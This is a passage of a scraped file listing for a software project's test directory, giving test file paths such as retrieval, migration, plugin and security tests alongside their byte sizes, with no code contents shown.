bytestests/test_media/test_profile_delete_order.pyruns2,027 bytestests/test_media/test_profile_delete_pending.pyruns3,534 bytestests/test_media/test_profile_isolation_reads.pyruns2,072 bytestests/test_media/test_repair.pyruns6,402 bytestests/test_media/test_revet_remote.pyruns9,474 bytestests/test_media/test_save_scope.pyruns5,163 bytestests/test_media/test_shared_thumbnail.pyruns4,544 bytestests/test_media/test_upload_finish_route.pyruns6,094 bytestests/test_media/test_upload_links.pyruns26,759 bytestests/test_media/test_wp12a_picture_identity.pyruns7,266 bytestests/test_memory_core/__init__.pyruns0 bytestests/test_memory_core/test_edit_and_reserved.pyruns4,123 bytestests/test_memory_core/test_every_write_site_is_prepared.pyruns12,389 bytestests/test_memory_core/test_nested_trusted_metadata.pyruns1,961 bytestests/test_memory_core/test_prepare_helpers.pyruns2,346 bytestests/test_memory_core/test_round_four.pyruns6,389 bytestests/test_memory_core/test_save_path.pyruns5,086 bytestests/test_memory_core/test_submit.pyruns4,535 bytestests/test_memory_core/test_submit_settled.pyruns2,605 bytestests/test_memory_core/test_write_paths_redact.pyruns16,502 bytestests/test_mesh/__init__.pyruns0 bytestests/test_mesh/conftest.pyruns1,243 bytestests/test_mesh/test_broker_web.pyruns12,285 bytestests/test_mesh/test_envelope.pyruns3,952 bytestests/test_mesh/test_local_peer_identity.pyruns2,823 bytestests/test_mesh/test_mesh_busy_is_retryable.pyruns1,357 bytestests/test_mesh/test_mesh_lock_stress.pyruns5,955 bytestests/test_mesh/test_mesh_routes.pyruns11,664 bytestests/test_mesh/test_mesh_store.pyruns13,241 bytestests/test_mesh/test_mesh_store_fsync.pyruns997 bytestests/test_mesh/test_mesh_store_gdpr.pyruns3,492 bytestests/test_mesh/test_mesh_store_hardening.pyruns13,594 bytestests/test_mesh/test_remote_mesh_e2e.pyruns11,245 bytestests/test_mesh/test_remote_mesh_tools.pyruns8,985 bytestests/test_mesh/test_remote_peer_inprocess.pyruns12,238 bytestests/test_mesh/test_remote_peer_routes.pyruns4,749 bytestests/test_mesh/test_wait_inbox.pyruns3,604 bytestests/test_mesh/test_web_inbox_delivery.pyruns5,486 bytestests/test_mesh/test_web_inbox_limits.pyruns6,414 bytestests/test_migration.pyruns4,550 bytestests/test_migrations/__init__.pyruns108 bytestests/test_migrations/_kind_store.pyruns7,424 bytestests/test_migrations/_repair_store.pyruns3,836 bytestests/test_migrations/test_a_breaking_change_raises_the_floor_immediately.pyruns5,428 bytestests/test_migrations/test_a_fact_is_mostly_its_own_arithmetic.pyruns15,848 bytestests/test_migrations/test_a_planned_event_is_prospective_not_temporal.pyruns34,304 bytestests/test_migrations/test_backward_compat_405.pyruns74,775 bytestests/test_migrations/test_every_migration_declares_its_downgrade.pyruns1,544 bytestests/test_migrations/test_m048_reads_wording_outside_the_write_lock.pyruns4,349 bytestests/test_migrations/test_m048_respects_confirmed_kinds.pyruns4,653 bytestests/test_migrations/test_m051_clears_noise_derived_positions.pyruns2,992 bytestests/test_migrations/test_m052_memory_kinds.pyruns10,262 bytestests/test_migrations/test_m052_upgrade_path.pyruns10,250 bytestests/test_migrations/test_m053_answer_check_history.pyruns5,815 bytestests/test_migrations/test_m054_saved_views.pyruns7,078 bytestests/test_migrations/test_m055_learning_attribution.pyruns4,932 bytestests/test_migrations/test_m057_incremental.pyruns6,700 bytestests/test_migrations/test_m057_roundtrip.pyruns3,065 bytestests/test_migrations/test_m061_fact_hub_baseline.pyruns2,748 bytestests/test_migrations/test_m062_hook_bookkeeping_is_flagged.pyruns6,446 bytestests/test_migrations/test_m063_blank_temporal_dates_are_null.pyruns2,058 bytestests/test_migrations/test_m064_orphan_index_rows_are_removed.pyruns4,291 bytestests/test_migrations/test_m065_fabricated_dates_are_removed.pyruns12,870 bytestests/test_migrations/test_m066_wrongly_archived_memories_are_restored.pyruns13,738 bytestests/test_migrations/test_repair_coverage.pyruns6,768 bytestests/test_migrations/test_repair_ddl.pyruns5,219 bytestests/test_migrations/test_repair_rebuild_roundtrip.pyruns18,511 bytestests/test_migrations/test_repair_reporter_drift.pyruns2,440 bytestests/test_migrations/test_runner_survives_a_python_error.pyruns1,970 bytestests/test_migrations/test_what_is_coming_up_holds_only_what_is_coming_up.pyruns9,280 bytestests/test_mode_switch_preservation.pyruns13,963 bytestests/test_modes/test_changing_the_embedding_model_cannot_wreck_a_store.pyruns8,749 bytestests/test_modes/test_mode_a_never_fails.pyruns7,662 bytestests/test_modes/test_mode_a_says_why_it_cannot_write_a_summary.pyruns9,567 bytestests/test_modes/test_no_mode_puts_a_model_on_the_read_path.pyruns4,189 bytestests/test_no_dead_modules.pyruns14,706 bytestests/test_ollama_reachability.pyruns4,052 bytestests/test_operation_policy_registry.pyruns26,464 bytestests/test_optimize/__init__.pyruns0 bytestests/test_optimize/test_centroid_rebuild.pyruns5,307 bytestests/test_optimize/test_dynamic_embedding_dimension.pyruns2,052 bytestests/test_optimize/test_pr253_embedding_spaces.pyruns6,303 bytestests/test_optimize/test_proxy_typeerror_fallback.pyruns4,062 bytestests/test_optimize/test_semantic_cache_embedder_follows_the_provider.pyruns1,816 bytestests/test_optimize/test_tenant_count_caps.pyruns2,747 bytestests/test_packaging/__init__.pyruns0 bytestests/test_packaging/test_every_editor_can_see_the_plugin.pyruns7,787 bytestests/test_packaging/test_no_plugin_hijacks_your_install.pyruns12,295 bytestests/test_packaging/test_npm_ships_every_plugin_folder.pyruns1,586 bytestests/test_packaging/test_shipped_mcp_configs_respect_host_tool_limits.pyruns3,638 bytestests/test_packaging/test_what_we_ship_describes_what_we_built.pyruns8,042 bytestests/test_parameterization/__init__.pyruns57 bytestests/test_parameterization/test_a_soft_prompt_has_to_say_something.pyruns7,978 bytestests/test_parameterization/test_pattern_extractor.pyruns34,277 bytestests/test_parameterization/test_pii_filter.pyruns2,833 bytestests/test_parameterization/test_prompt_injector.pyruns9,040 bytestests/test_parameterization/test_prompt_lifecycle.pyruns16,208 bytestests/test_parameterization/test_soft_prompt_generator.pyruns24,828 bytestests/test_parameterization/test_soft_prompt_sqlite_roundtrip.pyruns2,395 bytestests/test_parity/__init__.pyruns0 bytestests/test_parity/test_kind_surface_parity.pyruns16,820 bytestests/test_parity/test_wp19_stub_flag_parity.pyruns2,032 bytestests/test_plugin/__init__.pyruns0 bytestests/test_plugin/_mcp_expand.pyruns3,385 bytestests/test_plugin/_plugin_sandbox.pyruns4,048 bytestests/test_plugin/test_codex_plugin.pyruns25,151 bytestests/test_plugin/test_copilot_plugin.pyruns3,324 bytestests/test_plugin/test_cursor_plugin.pyruns4,738 bytestests/test_plugin/test_ensure_venv_only_when_used.pyruns5,227 bytestests/test_plugin/test_hermes_grant_missing.pyruns3,123 bytestests/test_plugin/test_hermes_plugin.pyruns13,029 bytestests/test_plugin/test_hermes_register_tool_signature.pyruns3,412 bytestests/test_plugin/test_hermes_remote.pyruns15,499 bytestests/test_plugin/test_hermes_replaces_requires_confirm.pyruns2,388 bytestests/test_plugin/test_hermes_turn_capture.pyruns3,471 bytestests/test_plugin/test_hook_commands_run_on_grok.pyruns1,442 bytestests/test_plugin/test_hooks_find_the_same_slm.pyruns8,236 bytestests/test_plugin/test_launcher_on_hookless_hosts.pyruns9,351 bytestests/test_plugin/test_mcp_command_per_platform.pyruns5,947 bytestests/test_plugin/test_muse_plugin.pyruns3,356 bytestests/test_plugin/test_plugin_speed_and_cloud_claims.pyruns1,620 bytestests/test_plugin/test_qwen_kimi_manifests.pyruns2,664 bytestests/test_plugin/test_vscode_agent_plugin.pyruns1,960 bytestests/test_plugin/test_wf_windows_crossplatform.pyruns10,576 bytestests/test_plugin/test_windows_mcp_spawn_premise.pyruns3,611 bytestests/test_plugin/test_windows_mcp_starts_installed_slm.pyruns5,757 bytestests/test_plugin/test_wp06_ensure_venv.pyruns12,000 bytestests/test_plugin/test_wp06_plugin_manifest.pyruns25,504 bytestests/test_plugin_src/__init__.pyruns139 bytestests/test_plugin_src/test_the_skills_name_things_that_exist.pyruns5,279 bytestests/test_plugin_src/test_torch_cpu_pin_matches_pyproject.pyruns2,427 bytestests/test_plugin_src/test_torch_cpu_resolve.pyruns8,361 bytestests/test_plugin_src/test_wp05_agents_commands_lint.pyruns10,972 bytestests/test_portable_helpers.pyruns3,044 bytestests/test_postinstall/__init__.pyruns0 bytestests/test_postinstall/test_interactive_installer.pyruns11,637 bytestests/test_process_health/__init__.pyruns187 bytestests/test_process_health/conftest.pyruns713 bytestests/test_process_health/test_mcp_startup_reaper.pyruns772 bytestests/test_process_health/test_pid_manager.pyruns10,368 bytestests/test_process_health/test_process_reaper.pyruns50,395 bytestests/test_process_health/test_process_reaper_windows_stubs.pyruns2,289 bytestests/test_quality/test_memory_quality_harness.pyruns14,933 bytestests/test_quality/test_memory_quality_performance_gate.pyruns1,343 bytestests/test_quality/test_native_host_lifecycle_certification.pyruns11,631 bytestests/test_quality/test_portable_host_certification.pyruns7,978 bytestests/test_ranker.pyruns2,440 bytestests/test_reliability/__init__.pyruns0 bytestests/test_reliability/test_a_guard_that_never_passed_is_reported.pyruns6,549 bytestests/test_reliability/test_a_learner_that_never_learned_is_reported.pyruns5,952 bytestests/test_remote_access_status.pyruns4,342 bytestests/test_remote_connection_api.pyruns21,953 bytestests/test_remote_connection_codec.pyruns4,125 bytestests/test_remote_connection_companion.pyruns8,837 bytestests/test_remote_connection_credentials.pyruns6,693 bytestests/test_remote_connection_device_credentials.pyruns609 bytestests/test_remote_connection_journal.pyruns7,817 bytestests/test_remote_connection_modern_policy.pyruns2,647 bytestests/test_remote_connection_origin.pyruns4,392 bytestests/test_remote_connection_private_state.pyruns2,590 bytestests/test_remote_connection_proof.pyruns2,113 bytestests/test_remote_connection_recall_deadline.pyruns3,810 bytestests/test_remote_connection_runtime.pyruns22,787 bytestests/test_remote_connection_session.pyruns7,373 bytestests/test_remote_connections/__init__.pyruns0 bytestests/test_remote_connections/test_grant.pyruns10,447 bytestests/test_remote_connections/test_grant_key_delivery.pyruns15,830 bytestests/test_remote_connections/test_grant_keys.pyruns5,851 bytestests/test_remote_connections/test_key_abilities.pyruns2,993 bytestests/test_remote_connections/test_origin_grant.pyruns7,780 bytestests/test_remote_connections/test_peer_sync.pyruns12,131 bytestests/test_remote_connections/test_upload_relay.pyruns20,949 bytestests/test_remote_credential_renewal.pyruns9,862 bytestests/test_remote_gateway_provider.pyruns11,198 bytestests/test_remote_native_enrollment_store.pyruns2,492 bytestests/test_repo_hygiene.pyruns5,433 bytestests/test_reported/__init__.pyruns0 bytestests/test_reported/test_what_users_reported_against_4_0_10.pyruns13,829 bytestests/test_resilience/__init__.pyruns0 bytestests/test_resilience/runtime_factory.pyruns1,126 bytestests/test_resilience/test_deadlock_hardening.pyruns28,809 bytestests/test_resilience/test_ops_list_failed.pyruns13,278 bytestests/test_resilience/test_ops_resolve.pyruns7,327 bytestests/test_resilience/test_ops_resolve_takes_the_write_lock.pyruns1,460 bytestests/test_resilience/test_resilience_hardening.pyruns31,374 bytestests/test_resilience/test_writer_stall_watchdog.pyruns10,181 bytestests/test_resource_lifecycle.pyruns4,664 bytestests/test_retrieval/__init__.pyruns0 bytestests/test_retrieval/_media_support.pyruns2,884 bytestests/test_retrieval/conftest.pyruns605 bytestests/test_retrieval/cross_scope_fixture.pyruns5,732 bytestests/test_retrieval/test_a_date_range_includes_its_last_day.pyruns1,499 bytestests/test_retrieval/test_a_dead_channel_does_not_look_like_an_empty_store.pyruns13,534 bytestests/test_retrieval/test_a_loading_embedder_does_not_hold_recall.pyruns9,226 bytestests/test_retrieval/test_a_new_link_reaches_a_cached_question.pyruns7,951 bytestests/test_retrieval/test_a_new_memory_reaches_a_cached_question.pyruns3,252 bytestests/test_retrieval/test_a_reloading_model_is_waited_for.pyruns4,146 bytestests/test_retrieval/test_a_removed_link_stops_being_walked.pyruns7,249 bytestests/test_retrieval/test_a_slow_channel_is_waited_for.pyruns11,586 bytestests/test_retrieval/test_a_time_word_never_hides_the_memory_asked_for.pyruns3,077 bytestests/test_retrieval/test_a_withdrawn_choice_stops_every_process.pyruns7,999 bytestests/test_retrieval/test_activation_cache_is_written.pyruns8,274 bytestests/test_retrieval/test_adjacency_profile_lru.pyruns4,988 bytestests/test_retrieval/test_adjacency_slot_budget.pyruns1,611 bytestests/test_retrieval/test_agentic.pyruns12,153 bytestests/test_retrieval/test_an_unreadable_window_is_refused.pyruns5,308 bytestests/test_retrieval/test_ann_index.pyruns7,362 bytestests/test_retrieval/test_ann_index_lifecycle.pyruns5,366 bytestests/test_retrieval/test_answer_question_forms.pyruns13,451 bytestests/test_retrieval/test_answer_support_features.pyruns16,462 bytestests/test_retrieval/test_answerability_gate.pyruns4,386 bytestests/test_retrieval/test_bm25_archive_filter.pyruns1,726 bytestests/test_retrieval/test_bm25_channel.pyruns15,152 bytestests/test_retrieval/test_bm25_fts_does_not_duplicate_corpus.pyruns3,736 bytestests/test_retrieval/test_bm25_late_materialization.pyruns1,249 bytestests/test_retrieval/test_bm25_version_terms.pyruns6,243 bytestests/test_retrieval/test_both_seed_paths_score_alike.pyruns3,687 bytestests/test_retrieval/test_bridge_determinism.pyruns15,106 bytestests/test_retrieval/test_channel_guard_budget.pyruns2,057 bytestests/test_retrieval/test_community_context.pyruns8,692 bytestests/test_retrieval/test_cross_scope_seeds.pyruns11,139 bytestests/test_retrieval/test_embedding_lag_floor.pyruns10,571 bytestests/test_retrieval/test_engine.pyruns16,414 bytestests/test_retrieval/test_entity_channel.pyruns14,322 bytestests/test_retrieval/test_entity_ranked_prefix.pyruns2,869 bytestests/test_retrieval/test_erasure_visibility.pyruns6,516 bytestests/test_retrieval/test_erasure_visibility_caches.pyruns5,910 bytestests/test_retrieval/test_evidence_features.pyruns7,227 bytestests/test_retrieval/test_evidence_floor.pyruns19,035 bytestests/test_retrieval/test_evidence_floor_is_a_cosine.pyruns3,607 bytestests/test_retrieval/test_executor_resource_lifecycle.pyruns2,766 bytestests/test_retrieval/test_first_recall_does_not_wait_for_the_warmup_graph.pyruns9,777 bytestests/test_retrieval/test_forgetting_filter.pyruns5,894 bytestests/test_retrieval/test_fusion.pyruns7,469 bytestests/test_retrieval/test_generic_secret_assignments.pyruns6,187 bytestests/test_retrieval/test_graph_freshness_check_without_counting.pyruns2,589 bytestests/test_retrieval/test_graph_watermark_seeks.pyruns1,023 bytestests/test_retrieval/test_hopfield_channel.pyruns21,290 bytestests/test_retrieval/test_hopfield_large_store_searches_run_concurrently.pyruns1,626 bytestests/test_retrieval/test_hopfield_prefilter_size.pyruns14,826 bytestests/test_retrieval/test_hosted_redaction_shapes.pyruns10,302 bytestests/test_retrieval/test_hub_baseline.pyruns6,166 bytestests/test_retrieval/test_hub_baseline_source_is_recorded.pyruns2,315 bytestests/test_retrieval/test_jev_judge.pyruns21,495 bytestests/test_retrieval/test_jev_kinds_request.pyruns8,629 bytestests/test_retrieval/test_jev_rerank.pyruns31,678 bytestests/test_retrieval/test_judge_recipe.pyruns3,172 bytestests/test_retrieval/test_judge_threshold_measured_on_this_store.pyruns4,696 bytestests/test_retrieval/test_kind_aware_recall.pyruns18,792 bytestests/test_retrieval/test_kind_aware_wiring.pyruns9,002 bytestests/test_retrieval/test_kind_filter.pyruns2,698 bytestests/test_retrieval/test_kind_recall_searches_inside_the_kind.pyruns7,379 bytestests/test_retrieval/test_lan_endpoint_security.pyruns10,364 bytestests/test_retrieval/test_lance_projection_agrees_with_the_canonical_search.pyruns5,419 bytestests/test_retrieval/test_laya_kinds_protocol.pyruns8,072 bytestests/test_retrieval/test_laya_recall_priority.pyruns8,647 bytestests/test_retrieval/test_laya_worker_stop_reaps.pyruns1,469 bytestests/test_retrieval/test_meaning_search_without_the_vector_extension.pyruns7,694 bytestests/test_retrieval/test_media_answer_check.pyruns2,267 bytestests/test_retrieval/test_media_channel.pyruns5,076 bytestests/test_retrieval/test_media_channel_erasure.pyruns2,267 bytestests/test_retrieval/test_media_channel_space.pyruns6,138 bytestests/test_retrieval/test_media_engine.pyruns5,657 bytestests/test_retrieval/test_media_rerank.pyruns3,481 bytestests/test_retrieval/test_media_scope_cache.pyruns3,119 bytestests/test_retrieval/test_media_serializer.pyruns5,486 bytestests/test_retrieval/test_numpy_tie_stability.pyruns8,215 bytestests/test_retrieval/test_phase4_bitemporal_completion.pyruns31,825 bytestests/test_retrieval/test_pipeline_order.pyruns10,470 bytestests/test_retrieval/test_pr253_assertion_context.pyruns2,332 bytestests/test_retrieval/test_pr253_query_backpressure.pyruns2,818 bytestests/test_retrieval/test_pr253_real_questions.pyruns3,563 bytestests/test_retrieval/test_pr253_source_assertions.pyruns2,626 bytestests/test_retrieval/test_project_scope.pyruns9,613 bytestests/test_retrieval/test_project_scope_learned_ranking.pyruns11,597 bytestests/test_retrieval/test_project_scope_ranking.pyruns13,385 bytestests/test_retrieval/test_q9_identity_old_vs_new_envelope.pyruns7,299 bytestests/test_retrieval/test_quant_aware_search.pyruns8,065 bytestests/test_retrieval/test_query_intent_reaches_temporal_channel.pyruns4,989 bytestests/test_retrieval/test_query_rewrite.pyruns9,306 bytestests/test_retrieval/test_query_status_when_daemon_is_down.pyruns1,703 bytestests/test_retrieval/test_questions_use_the_query_prompt.pyruns2,005 bytestests/test_retrieval/test_ranking_is_a_total_order.pyruns13,279 bytestests/test_retrieval/test_recall_abstains_on_nonsense_with_the_real_model.pyruns3,756 bytestests/test_retrieval/test_recall_channel_indexes.pyruns3,660 bytestests/test_retrieval/test_recall_does_not_branch_on_the_clock.pyruns7,081 bytestests/test_retrieval/test_recall_facets.pyruns15,118 bytestests/test_retrieval/test_recall_latency_budget.pyruns2,053 bytestests/test_retrieval/test_recall_never_writes_entities.pyruns4,297 bytestests/test_retrieval/test_recall_wide_row_index.pyruns1,486 bytestests/test_retrieval/test_recall_wiring_without_the_vector_extension.pyruns2,584 bytestests/test_retrieval/test_recency_prior.pyruns19,108 bytestests/test_retrieval/test_remaining_scope_contract.pyruns13,826 bytestests/test_retrieval/test_remote_reranker.pyruns30,419 bytestests/test_retrieval/test_remote_reranker_breaker.pyruns20,045 bytestests/test_retrieval/test_remote_reranker_wiring.pyruns13,698 bytestests/test_retrieval/test_remote_view.pyruns6,267 bytestests/test_retrieval/test_rerank_pool.pyruns5,679 bytestests/test_retrieval/test_reranker.pyruns21,665 bytestests/test_retrieval/test_reranker_enabled_env_gate.pyruns3,685 bytestests/test_retrieval/test_reranker_lead.pyruns6,279 bytestests/test_retrieval/test_reranker_load_errors.pyruns3,441 bytestests/test_retrieval/test_reranker_recycle.pyruns11,797 bytestests/test_retrieval/test_reranker_warmup_backoff.pyruns4,372 bytestests/test_retrieval/test_retrieval_integration.pyruns29,685 bytestests/test_retrieval/test_review243_media_scope_wiring.pyruns3,058 bytestests/test_retrieval/test_scope_no_serialization.pyruns12,445 bytestests/test_retrieval/test_score_contract_v2.pyruns6,804 bytestests/test_retrieval/test_semantic_channel.pyruns8,308 bytestests/test_retrieval/test_semantic_channel_performance.pyruns9,157 bytestests/test_retrieval/test_semantic_channel_with_vec.pyruns9,364 bytestests/test_retrieval/test_semantic_zero_cosine_never_counts_as_evidence.pyruns1,705 bytestests/test_retrieval/test_spreading_activation.pyruns8,561 bytestests/test_retrieval/test_strategy.pyruns8,395 bytestests/test_retrieval/test_strategy_present_tense.pyruns17,240 bytestests/test_retrieval/test_sufficiency.pyruns16,926 bytestests/test_retrieval/test_support_gate.pyruns8,256 bytestests/test_retrieval/test_support_recipe_per_model.pyruns9,231 bytestests/test_retrieval/test_support_tiers.pyruns10,927 bytestests/test_retrieval/test_synthetic_profiler_safety.pyruns1,637 bytestests/test_retrieval/test_tag_scope.pyruns5,698 bytestests/test_retrieval/test_temporal_channel.pyruns12,194 bytestests/test_retrieval/test_temporal_channel_bounded_and_fallback.pyruns23,541 bytestests/test_retrieval/test_temporal_frame.pyruns2,570 bytestests/test_retrieval/test_temporal_slice_cache.pyruns6,933 bytestests/test_retrieval/test_temporal_validity_filter.pyruns11,983 bytestests/test_retrieval/test_text_floor_per_model.pyruns1,964 bytestests/test_retrieval/test_the_activation_cache_holds_one_copy.pyruns3,300 bytestests/test_retrieval/test_the_first_recall_after_a_start_stays_inside_the_ceiling.pyruns5,032 bytestests/test_retrieval/test_the_graph_follows_writes_without_a_rebuild.pyruns15,830 bytestests/test_retrieval/test_the_graph_is_rebuilt_beside_recall.pyruns4,605 bytestests/test_retrieval/test_the_graph_projection_answers_the_same_as_the_store.pyruns13,232 bytestests/test_retrieval/test_the_hosted_check_keeps_its_deadline.pyruns14,130 bytestests/test_retrieval/test_the_local_check_recovers_without_thrashing.pyruns13,307 bytestests/test_retrieval/test_the_order_is_the_answer_not_the_score.pyruns3,475 bytestests/test_retrieval/test_the_walk_is_the_same_answer_every_time.pyruns4,093 bytestests/test_retrieval/test_time_window.pyruns5,076 bytestests/test_retrieval/test_vector_index_decodes_outside_the_daemon.pyruns3,744 bytestests/test_retrieval/test_vector_presence_reads_only_the_asked_facts.pyruns2,469 bytestests/test_retrieval/test_vector_search_binds_the_profile.pyruns3,378 bytestests/test_retrieval/test_vector_search_is_shared_by_channels.pyruns4,032 bytestests/test_retrieval/test_vector_search_ranks_before_it_cuts.pyruns6,642 bytestests/test_retrieval/test_vector_store.pyruns29,960 bytestests/test_retrieval/test_visibility.pyruns5,756 bytestests/test_retrieval/test_visibility_paths.pyruns7,950 bytestests/test_retrieval/test_withheld_facts_never_reach_an_answer.pyruns9,885 bytestests/test_retrieval/test_wordless_picture_evidence.pyruns2,675 bytestests/test_retrieval/test_worker_stop_and_vector_decode_fallbacks.pyruns2,118 bytestests/test_retrieval/test_wp12a_picture_scope_cost.pyruns4,455 bytestests/test_retrieval/test_wp12a_snapshot.pyruns2,184 bytestests/test_retrieval/test_wp12b_quantization_wiring.pyruns5,785 bytestests/test_retrieval/test_wp6_calibration.pyruns2,741 bytestests/test_retrieval/test_wp6_deadlines.pyruns2,118 bytestests/test_retrieval/test_wp6_explicit_slots.pyruns4,023 bytestests/test_retrieval/test_wp6_nomic_cache.pyruns2,213 bytestests/test_retrieval/test_wp6_review_regressions.pyruns8,421 bytestests/test_runtimes/__init__.pyruns0 bytestests/test_runtimes/conftest.pyruns2,291 bytestests/test_runtimes/test_engine_upgrade_request.pyruns2,068 bytestests/test_runtimes/test_features.pyruns8,784 bytestests/test_runtimes/test_features_requested.pyruns5,833 bytestests/test_runtimes/test_image_ops.pyruns10,361 bytestests/test_runtimes/test_managed_env.pyruns14,256 bytestests/test_runtimes/test_managed_reindex_errors.pyruns1,894 bytestests/test_runtimes/test_managed_text.pyruns7,253 bytestests/test_runtimes/test_managed_text_long_memory.pyruns1,271 bytestests/test_runtimes/test_measure_media_ram.pyruns2,295 bytestests/test_runtimes/test_media_canary_and_ports.pyruns1,903 bytestests/test_runtimes/test_media_locks.pyruns3,435 bytestests/test_runtimes/test_media_models.pyruns4,986 bytestests/test_runtimes/test_media_ram_gate.pyruns2,263 bytestests/test_runtimes/test_multimodal_worker.pyruns5,468 bytestests/test_runtimes/test_multimodal_worker_loader.pyruns3,942 bytestests/test_runtimes/test_ocr_offline_models.pyruns3,641 bytestests/test_runtimes/test_runtime_relocation.pyruns5,284 bytestests/test_runtimes/test_space_plan.pyruns5,231 bytestests/test_runtimes/test_text_embedder_stop_hook.pyruns1,530 bytestests/test_runtimes/test_worker_client.pyruns9,670 bytestests/test_runtimes/test_worker_memory_guard.pyruns12,665 bytestests/test_runtimes/test_worker_passes.pyruns1,238 bytestests/test_runtimes/test_worker_stderr.pyruns5,666 bytestests/test_runtimes/test_wp12a_image_summary.pyruns4,559 bytestests/test_runtimes/test_wp12b_multilingual_ocr.pyruns2,956 bytestests/test_scripts/__init__.pyruns0 bytestests/test_scripts/test_answer_quality_eval.pyruns10,793 bytestests/test_scripts/test_answerability_conditions.pyruns4,232 bytestests/test_scripts/test_answerability_embedder_option.pyruns2,130 bytestests/test_scripts/test_answerability_fit.pyruns2,582 bytestests/test_scripts/test_answerability_fixtures.pyruns4,662 bytestests/test_scripts/test_answerability_questions.pyruns2,935 bytestests/test_scripts/test_build_hermes_plugin_stamps_doc_version.jsruns2,400 bytestests/test_scripts/test_demo_answer_check.pyruns7,057 bytestests/test_scripts/test_dogfood_savings.pyruns14,893 bytestests/test_security/__init__.pyruns0 bytestests/test_security/_egress_scan.pyruns4,860 bytestests/test_security/_routed_host.pyruns6,960 bytestests/test_security/test_api_key_never_follows_redirect.pyruns7,420 bytestests/test_security/test_bound_origin_integration.pyruns5,129 bytestests/test_security/test_configured_proxy_host.pyruns5,974 bytestests/test_security/test_forwarded_and_ingest_integration.pyruns4,759 bytestests/test_security/test_forwarded_loopback_demotion.pyruns7,588 bytestests/test_security/test_headers.pyruns12,735 bytestests/test_security/test_host_listener_integration.pyruns2,380 bytestests/test_security/test_injection_boundary_parity.pyruns9,526 bytestests/test_security/test_injection_uses_hosted_redaction.pyruns3,897 bytestests/test_security/test_ipv6_browser_listener.pyruns2,483 bytestests/test_security/test_lan_websocket_compatibility.pyruns7,241 bytestests/test_security/test_loopback_network_isolation.pyruns6,940 bytestests/test_security/test_mcp_transport_auth.pyruns2,880 bytestests/test_security/test_media_fetch.pyruns10,084 bytestests/test_security/test_media_fetch_file_hosts.pyruns7,261 bytestests/test_security/test_mesh_egress_redaction.pyruns9,153 bytestests/test_security/test_mesh_read_permission.pyruns5,991 bytestests/test_security/test_mesh_state_delta_route.pyruns1,978 bytestests/test_security/test_nonlocal_read_gate.pyruns9,720 bytestests/test_security/test_origin_guard_wiring.pyruns8,945 bytestests/test_security/test_outbound_gate_guard.pyruns14,083 bytestests/test_security/test_outbound_no_redirect.pyruns5,999 bytestests/test_security/test_preference_redaction.pyruns3,117 bytestests/test_security/test_proxy_boundary_integration.pyruns3,284 bytestests/test_security/test_proxy_egress_integration.pyruns4,790 bytestests/test_security/test_rate_limit_e2e.pyruns9,525 bytestests/test_security/test_read_only_post_permission.pyruns3,010 bytestests/test_security/test_refused_body_never_echoed.pyruns1,880 bytestests/test_security/test_remote_access_gate.pyruns11,043 bytestests/test_security/test_remote_media_tools.pyruns6,044 bytestests/test_security/test_remote_mode_gaps.pyruns4,653 bytestests/test_security/test_remote_outcome_id_integration.pyruns1,283 bytestests/test_security/test_remote_profile_binding.pyruns27,717 bytestests/test_security/test_remote_redaction.pyruns8,440 bytestests/test_security/test_remote_redaction_upload_link.pyruns1,172 bytestests/test_security/test_remote_routed_reads.pyruns11,836 bytestests/test_security/test_remote_routed_writes.pyruns15,381 bytestests/test_security/test_remote_tool_policy.pyruns23,342 bytestests/test_security/test_summary_timeline_read_permission.pyruns4,184 bytestests/test_security/test_websocket_boundary_integration.pyruns4,010 bytestests/test_server/__init__.pyruns0 bytestests/test_server/test_386_dashboard_read_boundary.pyruns5,098 bytestests/test_server/test_a_busy_daemon_can_be_asked_what_it_is_doing.pyruns3,452 bytestests/test_server/test_a_context_load_is_never_judged_through_any_door.pyruns6,052 bytestests/test_server/test_a_dead_embedder_gets_revived.pyruns12,035 bytestests/test_server/test_a_degraded_recall_says_it_was_not_checked.pyruns919 bytestests/test_server/test_a_listed_memory_belongs_to_its_profile.pyruns12,843 bytestests/test_server/test_a_mismatched_embedding_width_is_refused_on_save.pyruns6,770 bytestests/test_server/test_a_page_on_another_domain_cannot_reach_slm.pyruns4,073 bytestests/test_server/test_a_remote_recall_finishes_inside_the_relay_budget.pyruns5,175 bytestests/test_server/test_abstraction_route.pyruns4,110 bytestests/test_server/test_actor_role_resolution.pyruns2,533 bytestests/test_server/test_agent_identity_attribution.pyruns7,671 bytestests/test_server/test_answer_check_api.pyruns26,511 bytestests/test_server/test_answer_check_auth.pyruns4,212 bytestests/test_server/test_answer_check_history_routes.pyruns13,898 bytestests/test_server/test_answer_check_laya_actions.pyruns8,700 bytestests/test_server/test_answer_check_lifecycle.pyruns11,979 bytestests/test_server/test_answer_check_off_the_loop.pyruns13,657 bytestests/test_server/test_answer_check_one_source_of_truth.pyruns11,907 bytestests/test_server/test_answer_check_rerank_api.pyruns16,416 bytestests/test_server/test_answer_check_save_applies_live_and_exclusively.pyruns10,831 bytestests/test_server/test_answer_check_shares_the_question_clock.pyruns2,164 bytestests/test_server/test_applied_correction_is_findable.pyruns4,285 bytestests/test_server/test_asset_versions_track_file_content.pyruns14,916 bytestests/test_server/test_background_loops_idle_without_progress.pyruns4,826 bytestests/test_server/test_backup_connect_pages.pyruns2,681 bytestests/test_server/test_backup_encryption_routes.pyruns3,450 bytestests/test_server/test_backup_export_holds_every_advertised_store.pyruns4,073 bytestests/test_server/test_backup_security_contract.pyruns8,854 bytestests/test_server/test_behavioral_profile_integrity.pyruns4,794 bytestests/test_server/test_brain_telemetry_truth.pyruns17,900 bytestests/test_server/test_canonical_import_route.pyruns2,967 bytestests/test_server/test_canonical_ingest_route.pyruns3,489 bytestests/test_server/test_canonical_remember_route.pyruns26,483 bytestests/test_server/test_chat_injection_boundary.pyruns5,282 bytestests/test_server/test_company_mode_get_routes.pyruns7,297 bytestests/test_server/test_company_mode_mutation_routes.pyruns11,327 bytestests/test_server/test_company_status_fixture_isolation.pyruns1,001 bytestests/test_server/test_config_file_concurrency.pyruns1,293 bytestests/test_server/test_credential_tables_match_the_real_schema.pyruns2,838 bytestests/test_server/test_daemon_answer_check_writer_lifecycle.pyruns2,895 bytestests/test_server/test_daemon_shutdown_imports.pyruns9,804 bytestests/test_server/test_daemon_stops_the_live_engine.pyruns708 bytestests/test_server/test_dashboard_authed_get_routes.pyruns3,711 bytestests/test_server/test_dashboard_browsing_truth.pyruns5,291 bytestests/test_server/test_dashboard_page_is_read_as_utf8.pyruns2,575 bytestests/test_server/test_dashboard_route_profile_isolation.pyruns13,107 